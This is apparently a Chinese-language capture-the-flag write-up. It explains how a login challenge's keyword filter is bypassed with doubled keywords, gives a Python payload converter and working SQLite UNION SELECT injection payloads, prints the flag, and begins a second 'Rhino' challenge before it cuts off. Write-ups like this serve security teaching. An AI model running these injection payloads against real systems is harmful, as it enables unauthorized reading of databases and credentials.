🦉: "Login to see cool things!"

Username:

Password:

SHOW HINT

Nothing

Hello, , nothing here. Logout!

``` 就是 sqlite 的 SQL Injection，輸入的 username 會用 `str_ireplace` 過濾兩次，很好繞過，打 `///***` 就會被過濾成 `/*`，打 `selselselectectect` 就會被過濾成 `select`，所以寫個簡單的 script 自動轉換 payload ```python import sys table = { ' ': '/**/', '/*': '///***', '*/': '***///', 'union': 'unununionionion', 'select': 'selselselectectect', 'and': 'anananddd', 'or': 'ooorrr', 'where': 'whewhewhererere', 'from': 'frfrfromomom', } inp = sys.argv[1] for t,v in table.items(): inp = inp.replace(t, v) print(inp) ``` 注意到 `--` 還是沒辦法用，因為 `-selselectect-` 會被轉成空的，`select` 順序在 `--` 前面會先被過濾掉，`str_ireplace` 是照著 list 一個個 replace 的，不過我們用 `/*` 就足夠了。 ``` '///******///unununionionion///******///selselselectectect///******///null,sql,null///******///frfrfromomom///******///sqlite_master///******///whewhewhererere///******///type='table'///******///limit///******///1///******///offset///******///0///*** ``` 先挖 table，找到 `CREATE TABLE garbage ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, value TEXT )`，只有這個 `garbage` 和 `users` ``` '///******///unununionionion///******///selselselectectect///******///null,name,null///******///frfrfromomom///******///garbage///******///limit///******///1///******///offset///******///0///*** ``` 再挖 db 裡面，挖到有個 name 是 `something good`，挖他的 value 就看到 flag 了 ``` AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c} ``` ### Rhino 這題網站在 [https://rhino.ais3.org/](https://rhino.ais3.org/)，`robots.txt` 可以看到東西 ``` # RIP robots! User-agent: * Disallow: / Disallow: /index.html Disallow: /*.xml Disallow: /recent Disallow: /assets Disallow: /about Disallow: /*.js Disallow: /*.json Disallow: /node_modules Disallow: /flag.txt ``` 然後這個網站看起來是用 express 架的然後放 jekyll 產的 blog，既然是 js project 先看個 `package.json` ``` { "name": "app", "version": "1.0.0", "description": "", "scripts": { "start": "node chill.js", "test": "echo \"Error: no test specified\" && exit 1" }, "author": "djosix", "license": "ISC", "dependencies": { "cookie-session": "^1.4.0", "express": "^4.17.1" } } ``` 然後就看到原始碼叫做 `chill.js` ```javascript const express = require("express"); const session = require("cookie-se

繁中語言模型 bloom-1b1-zh 試玩